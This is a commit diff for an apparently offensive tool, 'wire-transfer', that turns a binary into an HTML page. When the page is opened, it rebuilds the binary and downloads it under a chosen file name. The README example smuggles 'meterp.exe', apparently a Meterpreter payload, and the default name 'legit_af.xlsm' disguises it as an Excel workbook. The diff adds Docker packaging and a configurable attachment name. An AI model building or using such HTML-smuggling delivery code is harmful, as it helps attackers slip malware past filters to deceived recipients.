add dockerfile and support for dynamic attachment name

Dockerfile

@@ -0,0 +1,16 @@
+FROM python:3.10.12-slim-bullseye
+
+RUN mkdir /wire-transfer /data
+
+COPY . /wire-transfer
+
+RUN chmod +x /wire-transfer/embed.py
+RUN chmod +x /wire-transfer/english2bin.py
+RUN chmod +x /wire-transfer/wiretransfer.py
+
+WORKDIR /wire-transfer
+
+RUN python3 -m pip install -r requirements.txt
+
+# DEBUG
+CMD /bin/bash

README.md

@@ -15,4 +15,22 @@ Install Python 2.7.x, then install the dependancies with:
 
 ```
 pip install -r requirements.txt
+```
+
+Running from Docker :whale:
+============================
+
+Build:
+
+```bash
+docker build -f Dockerfile -t wire-transfer .
+```
+
+Run:
+
+```bash
+docker run -v $(pwd)/data:/data -it wire-transfer \
+python embed.py --target=/data/meterp.exe \
+--output=/data/meterp.html \
+--attachment=meterp.exe
 ```

embed.py

@@ -35,6 +35,11 @@
        default=os.environ.get('WIRE_TRANSFER_TEMPLATE', "templates/embed.html"),
        help="encode file into embedable .html file")
 
+define("attachment",
+       group="application",
+       default=os.environ.get('WIRE_TRANSFER_ATTACHMENT', "legit_af.xlsm"),
+       help="name of the attachment file")
+
 
 def main():
     """ Starts the app based on cli arguments """
@@ -44,7 +49,7 @@ def main():
     with open(options.template) as templ_file:
         templ = Template(templ_file.read())
     with open(options.output, "wb") as out_file:
-        out_file.write(templ.generate(data=data))
+        out_file.write(templ.generate(data=data,attachment=options.attachment))
 
 if __name__ == '__main__':
     os.chdir(os.path.dirname(os.path.abspath(__file__)))

templates/embed.html

@@ -22,6 +22,6 @@ <h1>Email Attachment</h1>
         data.filter(word => { return word.length > 0 }).forEach(word => { byteNumbers.push(decodeWord(word)); });
         let byteArray = new Uint8Array(byteNumbers);
         let blob = new Blob([byteArray], {type: "application/octet-stream"});
-        saveAs(blob, "legit_af.xlsm");
+        saveAs(blob, "{{ attachment }}");
     </script>
 </html>